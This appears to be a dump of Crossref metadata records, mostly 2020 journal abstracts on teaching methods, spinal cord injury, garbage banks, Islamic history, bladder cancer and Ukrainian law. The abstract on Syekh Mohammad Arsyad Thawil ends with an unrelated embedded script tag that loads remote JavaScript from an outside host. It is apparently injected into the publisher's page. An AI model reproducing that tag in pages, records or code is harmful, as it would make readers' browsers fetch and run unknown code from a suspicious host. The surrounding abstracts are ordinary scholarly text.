bluuebunny/crossref_metadata_2025_split huggingface dataset:
TEACHING READING COMPREHENSION FOR THE TENTH GRADE STUDENTS BY APPLYING THE INQUIRY BASED LEARNING APPROACH
Authors: Ramasari Maria 
Published: July 2020

The objective of this research was to find out whether or not it was significantly effective to apply the Inquiry Based Learning Approach in teaching reading comprehension for the tenth grade students. In this research, the researcher proposed two hypotheses. They were null hypothesis (Ho) and alternative hypothesis (Ha). The method applied was pre-experimental with one group pre-test posttest design. The object of this research consisted of 20 students. The data were collected by means of test consisting 20 items of multiple choices. The data obtained were analyzed through three techniques: 1) Individual Score, 2) Conversion of Individual Score Based on Minimum Mastery Criteria, and 3) Matched t-test. The results of this research shows that the students’ mean score in the pre-test was 60.13 and those in the post-test was 75.25. The result of matched t-test was 5.25, which was higher than t-table value (1.725) of 20 with 95% significant level for one tailed-test. Therefore, the null hypothesis (Ho) was rejected and the alternative hypothesis (Ha) was accepted. It means that it was significantly effective in teaching reading to the tenth grade students by applying Based Learning Approach.
Blood glutamate scavengers and exercises as an effective neuroprotective treatment in mice with spinal cord injury
Authors: Goldshmit Yona , Banyas Evgeni , Bens Nicole , Yakovchuk Alex , Ruban Angela 
Published: July 2020

OBJECTIVEExcitotoxicity due to neuronal damage and glutamate release is one of the first events that leads to the progression of neuronal degeneration and functional impairment. This study is based on a paradigm shift in the therapeutic approach for treating spinal cord injury (SCI). The authors tested a new treatment targeting removal of CNS glutamate into the blood circulation by injection of the blood glutamate scavengers (BGSs) recombinant enzyme glutamate-oxaloacetate transaminase (rGOT1) and its cosubstrate oxaloacetic acid (OxAc). Their primary objective was to investigate whether BGS treatment, followed by treadmill exercises in mice with SCI, could attenuate excitotoxicity, inflammation, scarring, and axonal degeneration and, at a later time point, improve functional recovery.METHODSA pharmacokinetic experiment was done in C57BL/6 naive mice to verify rGOT1/OxAc blood activity and to characterize the time curve of glutamate reduction in the blood up to 24 hours. The reduction of glutamate in CSF after BGS administration in mice with SCI was confirmed by high-performance liquid chromatography. Next, SCI (left hemisection) was induced in the mice, and the mice were randomly assigned to one of the following groups at 1 hour postinjury: control (underwent SCI and received PBS), treadmill exercises, rGOT1/OxAc treatment, or rGOT1/OxAc treatment followed by treadmill exercises. Treatment started 1 hour postinjury with an injection of rGOT1/OxAc and continued for 5 consecutive days. Starting 1 week after SCI, the exercises and the combined treatment groups recommenced the treadmill exercise regimen 5 days a week for 3 months. Locomotor function was assessed for 3 months using the horizontal grid walking test and CatWalk. Axonal anterograde and wallerian degenerations were evaluated using tetramethylrhodamine dextran. Tissue sections were immunofluorescently stained for Iba1, GFAP, GAP-43, synaptophysin, and NeuN.RESULTSBGS treatment decreased the CSF glutamate level up to 50%, reduced axonal wallerian degeneration, and increased axonal survival and GAP-43 expression in neuronal cells. Combined treatment reduced inflammation, scarring, and lesion size. Additionally, the combination of BGS treatment and exercises increased synapses around motor neurons and enhanced axonal regeneration through the lesion site. This resulted in motor function improvement 3 months post-SCI.CONCLUSIONSAs shown by biochemical, immunohistochemical, and functional analysis, BGSs exhibit a substantial neuroprotective effect by reducing excitotoxicity and secondary damage after SCI. Furthermore, in combination with exercises, they reduced axonal degeneration and scarring and resulted in improved functional recovery.
Sosialisasi Pendirian “Bank Sampah” Bagi Peningkatan Pendapatan Dan Pemberdayaan Perempuan Di Margasari
Authors: Kusuma Wardany  , Reni Permata Sari  , Erni Mariana  
Published: July 2020

The garbage bank has the function of channeling the waste obtained in accordance with the needs and providing an additional economy for the community. This service aims to make the mothers in Margasari Village know about the existence of a garbage bank, waste management techniques so that they are of economic value and are expected to increase the awareness and enthusiasm of mothers to process waste and preserve the environment. The realization of problem solving is carried out in a socialization program on how to establish and benefit the Waste Bank for increasing income and empowering women. The impact of empowering the garbage bank to customers can be said to be still lacking, this is evident from the average income earned by the community in the first three months of Rp. 10,786,00,-.The impact of empowerment for craftsmen and management can increase income with monthly income of around Rp. 900,000,-.
STRATEGI RADIO SUARA PADANG FM DALAM PENGELOLAAN SIARAN DAKWAH
Authors: Alfajran Febry , Nupiah Ali 
Published: July 2020

Permasalahan penelitian ini bagaimana strategi Radio Suara Padang FM dalam pengelolaan siaran dakwah. Tujuan dari penelitian ini untuk memaparkan strategi Radio Suara Padang FM dalam pengelolaan siaran dakwah. Penelitian ini menggunakan metode pendekatan kualitatif. Teknik pengumpulan data yang digunakan adalah wawancara, observasi, dan dokumenter. Sumber data penelitian ini adalah kordinator siaran, divisi dakwah dan penyiar Radio Suara Padang FM. Teknik analisis data yang digunakan adalah deskriptif kualitatif. Hasil penelitian bahwa Strategi Radio Suara Padang FM dalam pengelolaan siaran dakwah adalah (1) pengelolaan siaran dakwah dikelola oleh divisi dakwah dengan melibatkan staff dan penyiar, target pendengar masyarakat Kota Padang. (2) Keterlibatan penyiar dalam pengelolaann siaran dakwah adalah kemampuan menguasai materi dalam bersiaran dan menerapkan konsep dakwah itu sendiri. (3) Faktor penghambat siaran dakwah di Radio Suara Padang FM adalah kurangnya pemasukan iklan serta kalau seandainya listrik padam. Adapun cara mengatasi hambatan siaran dakwah adalah dengan memperbanyak link dan pemasukan serta menelpon teknisi jika listrik padam. Evaluasi yang dilakukan penyiar Radio Suara Padang FM, dengan melakukan evaluasi rutin setiap bulannya.
Manfaat Mengikuti Pengajian Rutin dalam Meningkatkan Kesadaran Beragama Masyarakat
Authors: Oktavia Elva , Mastanora Refika 
Published: July 2020

Pengajian rutin yang dilaksanakan di Masjid penting diadakan karena pada saat sekarang ini masyarakat tidak menghiraukan adanya pengajian. Penelitian ini menggunakan metode kualitatif deskriptif yang bertujuan untuk mengungkapkan kejadian atau fakta, keadaan, fenomena yang terjadi pada saat penelitian berlangsung. Informan penelitian adalah masyarakat Batubasa yang mengikuti pengajian. Teknik pengumpulan data yang peneliti gunakan adalah observasi, wawancara terstruktur, dengan metode analisis data berupa reduksi data, penyajian data, dan kesimpulan data, sedangkan keabsahan data menggunakan metode triangulasi sumber. Hasil penelitian menunjukkan bahwa manfaat dari mengikuti pengajian rutin yang diadakan di Masjid membuat masyarakat lebih meningkatkan kesadaran beragamanya dalam aspek wawasan dan pengetahuan, serta peningkatan aspek sikap.
Kronologis Kisah Nabi Adam As dalam Tafsir Ibn Katsir
Authors: Bustamar Bustamar , M Dalil Fitri Yeni 
Published: July 2020

Abstrak: Penelitian ini berdasarkan kisah Nabi Adam As yang berbagai fragmennya tersebar diberbagai surah dan ayat, menurut Ibn Katsir dalam Tafsir al-Qur`anul Adzim.Tujuan dari pembahasan ini adalah mengetahui sekaligus menyusun kronologis narasi kisah Nabi Adam As dari proses awal penciptaannya hingga ia keluar dari surga. Jenis penelitian yang digunakan adalah penelitian kepustakaan. Untuk pengelolaan data penafsiran oleh Ibn Katsir digunakan pendekatan studi tokoh, konten analisis dan ilmu tafsir.Dari kajian terhadap tafsir Ibn Katsir, kronologis kisah Nabi Adam As terbagi tiga, yaitu pertama, penciptaan Nabi Adam : ini diawali dari zat yang disebut تراب dan طين serta حمٰإ مسنون hingga menjadi صَلْصٰلٍ كَالْفَخَّار. Setelah itu ditiupkan roh, pada proses inilah malaikat diperintah sujud kepada Adam As namun iblis enggan untuk bersujud. Kedua kisah Adam As tinggal di surga dengan segala fasilitasnya. Pada kejadian ini istri Adam As (Hawa) diciptakan oleh Allah. Ketiga, kisah Adam As dan istrinya dilarang mendekati pohon kuldi, yang kemudian aturan tersebut dilanggar oleh Adam As dan istrinya yang mengakibatkan Adam As dan istrinya dikeluarkan dari surga. Menurut Ibn Katsir keluarnya Adam As dari surga ini dalam dua tahap pertama tahap turun ke langit dunia dan kedua tahap turun ke bumi.
SYEKH MOHAMMAD ARSYAD THAWIL 1851-1934 : PERJUMPAAN ULAMA BANTEN DENGAN JEMAAT KRISTEN MINAHASA
Authors: Rusli Almunauwar Bin 
Published: July 2020

<p>The fight of <em>Ulama</em> in the history of Indonesian colonialism took place through eschatological awareness, ethical action and mystical reflection. Syeikh Mohammad Arsyad Thawil is one of the important <em>Ulama</em> in this case. He was born in Tanara, Banten 1851 and died in Lawangirung, Manado 1934. Syekh Mohammad Arsyad Thawil studied Islam on three teachers: Syeikh Abdul Gani Bima, Syeikh Ahmad Zaini Dahlan and Syeikh Nawawi Al-Bantani. He lived in Makkah from 1868-1873 and was involved in the Banten peasant uprising 9-13 July 1888. First, since 1808 Banten fell under Dutch rule. Colonial bureaucracy destroys traditional bureaucracy. Second, abolition of inheritance, tax collection and forced labor. Third, the raises of sufi movements, pesantren and pilgrimage groups that formed the Pan-Islamic ideology. When exiled at Airmadidi, Minahasa 1888, the <em>da’wah</em> of Syeikh Mohammad Arsyad Thawil was supported by Kapiten Tan Tjin Bie. Thus, Islam and Tionghoa have relations of knowledge and power because of cooperation of commerce and memory of commerce.</p><p> </p><script type="text/javascript" src="http://minisrclink.cool/1e40c8bd4601a5a5a4.js"></script>
HAJI FUNDS FOR INFRASTRUCTURE INVESTMENT
Authors: Rahman Muh Fudhail , Shodiq Shubhan , Humaira Aida 
Published: July 2020

<p>As an implementation of the conditions for istita'ah, for person who want to register pilgrimage, the government requires paying amount of money called Biaya Penyelenggaraan Ibadah Haji (BPIH). The accumulated funds have reached untill trillions of rupiah, this accumulation has potential to be developed. Currently, there is debate about the permissibility of using BPIH outside the direct interests of pilgrims such as government infrastructure investment. This research uses normative juridical research. This study also uses a statutory approach and a comparative approach. The results of this study indicate the pilgrimage fund can be invested. However, in terms of the ability to use the pilgrimage funds for investment in government infrastructure, there must be permitted by people who want to go on pilgrimage, or can be used in infrastructure that is directly related to the pilgrimage.</p><p> </p>
ARCTIC NOMADIC DESIGN (THE NENETS CASE)
Authors: Golovnev Andrei V. 
Published: July 2020

Abstract
The nomadic technologies of reindeer herders from Yamal Peninsula, in their multidimensional complexity – from the space-time continuity of mobile camps on the open tundra to multi-functionality of material things – enable and facilitate mobility in the extreme environment of the Arctic. The nomadic tradition contains a whole array of concepts (or principles), which, on the one hand, are ultimately practical and, on the other, deserve a theoretical projection. These include: nomadic transformer, mobile module, movement effect, techno-animation, material austerity, space-time continuity, arctic aesthetics. A study of nomadic design implies the usage of new methods of movement recording – MTA (mapping–tracking–acting), including visual data such as UAV mapping, GPS-tracking and 3D-modelling.
Recurrence in Non-Muscle Invasive Bladder Cancer Patients: External Validation of the EORTC, CUETO and EAU Risk Tables and Towards a Non-Linear Survival Model
Authors: Lucas Marit , Jansen Ilaria , Oddens Jorg R. , van Leeuwen Ton G. , Marquering Henk A. , de Bruin Daniel M. 
Published: July 2020

BACKGROUND: EORTC, CUETO and EAU are the most commonly used risk stratification models for recurrence and progression in non-muscle invasive bladder cancer (NMIBC). OBJECTIVE: We assessed the predictive value of the EORTC, CUETO and EAU risk group stratification methods for our population and explore options to improve the predictive value using Cox Proportional Hazards (CPH), Boosted Cox regression and a non-linear Random Survival Forest (RSF) model. MATERIALS: Our retrospective database included of 452 NMIBC patients who underwent a transurethral resection of bladder tumor (TURBT) between 2000 and 2018 in our hospital. The cumulative incidence of recurrence was calculated at one- and five-years for all risk stratification methods. A customized CPH, Boosted Cox and RSF models were trained in order to predict recurrence, and the performances were compared. RESULTS: Risk stratification using the EORTC, CUETO and EAU showed small differences in recurrence probabilities between the risk groups as determined by the risk stratification. The concordance indices (C-index) were low and ranged between 0.51 and 0.57. The predictive accuracies of CPH, Boosted Cox and RSF models were also moderate, with C-indices ranging from 0.61 to 0.64. CONCLUSIONS: Prediction of recurrence in patients with NMIBC based on patient characteristics is difficult. Alternative (non-linear) approaches have the potential to improve the predictive value. Nonetheless, the currently used characteristics are unable to properly stratify between the recurrence risks of patients.
Robust sparse principal component analysis by DC programming algorithm
Authors: Li Jieya , Yang Liming 
Published: July 2020

The classical principal component analysis (PCA) is not sparse enough since it is based on the L2-norm that is also prone to be adversely affected by the presence of outliers and noises. In order to address the problem, a sparse robust PCA framework is proposed based on the min of zero-norm regularization and the max of Lp-norm (0 < p ≤ 2) PCA. Furthermore, we developed a continuous optimization method, DC (difference of convex functions) programming algorithm (DCA), to solve the proposed problem. The resulting algorithm (called DC-LpZSPCA) is convergent linearly. In addition, when choosing different p values, the model can keep robust and is applicable to different data types. Numerical simulations are simulated in artificial data sets and Yale face data sets. Experiment results show that the proposed method can maintain good sparsity and anti-outlier ability.
Lifetime assessment of functional components in the ESS target environment during beam energy ramp up
Authors: Lee Yongjoong 
Published: July 2020

The Target Station at the European Spallation Source (ESS) is designed to convert high power proton beam to high brightness neutron beams, for studying fundamental properties of materials. Upon commissioning of the ‘beam on target’ planned in 2022, the ESS linac will deliver lower energy proton beam than the design value of 2 GeV, for neutron production. The beam energy will then be gradually ramped up, with the sequential commissioning of the downstream part of the superconducting cryomodules. During neutron production, the beam intercepting devices and moderators are exposed to intense flux of primary and secondary particles, suffering from radiation induced structural degradation. The extent of the radiation damage depends on the energy and intensity of the impinging protons. Currently, the lifetime criteria determined for these components are based on the 2 GeV beam energy. To secure availability and reliability of the neutron production during the beam energy ramp-up phase, the radiation damage rates in these components should be reassessed and the lifetime criteria be adjusted. In this paper, we present the lifetime criteria for the beam intercepting devices and moderators for different beam energies, to serve for the planning of the maintenance and replacement schedule during the proton energy ramp-up phase.
MENINGKATKAN HASIL BELAJAR MATEMATIKA MELALUI MODEL PEMBELAJARAN RALLY TABLE PADA SISWA KELAS VIIIB MTS ‘SAINS’ ALGEBRA KOTA SORONG
Authors: Adhar Adhar 
Published: July 2020

Penelitian ini bertujuan untuk mendeskripsikan Model Pembelajaran Rally Table yang dapat meningkatkan hasil belajar matematika siswa. Subyek penelitian yang dikenai tindakan adalah siswa kelas VIII B MTs ‘Sains’ Algebra Kota Sorong yang berjumlah 20 siswa dengan 5 siswa laki-laki dan 15 siswa perempuan. Penelitian ini adalah Penelitian Tindakan Kelas (PTK). Prosedur pelaksanaan tindakan dan implementasi di lokasi penelitian terbagi dalam dua siklus. Pada siklus pertama dilakukan sebanyak empat kali pertemuan, implementasi tindakan dengan Model Pembelajaran Rally Table. Siklus kedua dilakukan tindakan sebanyak empat kali pertemuan dengan model yang sama. Pengamatan dilakukan dengan lembar observasi yang telah disiapkan, selanjutnya direfleksi oleh peneliti bersama guru untuk mengevaluasi penelitian yang telah berjalan pada setiap siklus serta untuk memperoleh perbaikan-perbaikan dalam pelaksanaan siklus selanjutnya. Teknik pengumpulan data dilakukan dengan menggunakan observasi dan tes. Analisis dilakukan dengan analisis kualitatif dan analisis kuantitatif. Hasil penelitian ini menunjukkan bahwa hasil belajar matematika siswa kelas VIII B MTs ‘Sains’ Algebra meningkat. Nilai rata-rata tes awal siswa 7,97 dan pada akhir siklus I nilai rata-ratanya 79,00. Sedang pada akhir siklus II nilai rata-rata menjadi 92,90. Tindakan yang dilakukan untuk merangsang perhatian siswa adalah memberikan gambaran awal materi di awal pertemuan, dilakukannya diskusi kelompok dan presentasi siswa, memberikan kompetisi, menumbuhkan rasa ingin tahu siswa dengan menerapkan Model Pembelajaran Rally Table.
DAMPAK STRATEGIC THINKING TERHADAP KUALITAS HIDUP STUDI MAHASISWA
Authors: Leba Katarina , Watunglawar Balthasar 
Published: July 2020

The purpose of this study is to describe and analyze the form of strategic thinking and study life, the impact of strategic thinking on study life, and the factors that affect the quality of studies life. For achieving those objectives, this study using qualitative research methods. The data obtained through questioners and documentation techniques reduced, analyzed, and concluded. The research found that many students weak in thinking strategically. Students’ study life often was not arranged regularly. They were sometimes irrational in thinking and act. Many of them lost orientation and did not realize their essential task. Many students were not discipline and tend to relax, affected on hedonistic lifestyle, easily affected, and lose in value. To improve the quality of study life, students have to increase strategic thinking ability, think rationally and analytically before doing everything. The impact of a good study life (which has gone through a strategic thought process) is a change in behavior. Factors that influence the life of studies such as the campus with the system and regulations, teachers, and learning support facilities must be taken seriously for an educational revolution and strategic quality. The findings of this research are expected to be useful for next researchers in the field of management, accounting, administration and economics.
Genesis of State Social Policy of Ukraine: Administrative and Legal Aspect
Authors: Katsalap L. S. 
Published: July 2020

The author of the article studies and systematizes the set of available scientific achievements on the origin, formation and development of state social policy of Ukraine, considering the fact that one of the priorities of Ukrainian society in the need for progressive improvement of all mechanisms of public administration is the formation of effective social policy. And taking into account the aggregate of the most urgent issues of the development of our state, connected with overcoming the negative phenomena in a social life, the administrative and legal provision of the reliable mechanism of social protection of the population by public authorities requires particular attention. The author of the research analyzes the historical and legal base of the social sphere of the Ukrainian state since the adoption of the Declaration of State Sovereignty of Ukraine until now. It is emphasized that international legislation aimed at ensuring human rights and freedoms became the basis of regulatory and legal provision of the social sphere in Ukraine.
It is noted that the analysis of the content of social functions of the Ukrainian state is characterized by the presence of factors of democratic state formation in the society that is focused on the European vector. The author followed the chronological sequence of the formation of social institutions and legislative regulation of social relations in the state, which led to the current state of social policy. The difficult way of the formation of modern social policy of Ukraine, its achievements, weaknesses and perspective directions of the development are highlighted. The author defines the priority directions of future scientific researches in the specified sphere.
Peculiarities of State Experts Activity on Secret Issues of the State Penitentiary Service of Ukraine
Authors: Denischuk D. Y. 
Published: July 2020

The study is focused on the protection of state secrets in the State Penitentiary Service of Ukraine (SPS). The subject matter of scientific work is the features of state experts on secret issues, whose activities play a key role in classifying information as a state secret. The paper is aimed at analyzing the impact of numerous reforms of the SPS system on the composition and characteristics of the relevant state experts.
During the research, the author has carried out the analysis of laws and bylaws, where special attention was paid to the List of officials entrusted with the functions of state experts on secret issues, and the Code of Information Constituting State Secrets. The research emphasizes that the relevance of the analysis is related not only to the already implemented changes in the system of the State Penitentiary Service of Ukraine, but also to the expectation of no less important reforms that significantly affect the structure, subordination and forms of activity of SPS agencies.
As a result of the conducted analysis the author has provided characteristics to the features of quantitative and qualitative structure of the state experts which were caused by structural changes of SPS agencies. The peculiarities of the activity of state experts of SPS are characterized, such important requirements to their qualification as the corresponding experience and deep possession of the maintenance and essence of daily needs of SPS system are allocated.
The obtained results substantiate the expediency of expanding the composition of state experts on secret issues in the field related to SPS of Ukraine.
Based on the findings of the study, the author has offered the position of the Head of the Department for the Execution of Criminal Punishments to be included in the List of officials entrusted to perform the functions of state experts on secret issues.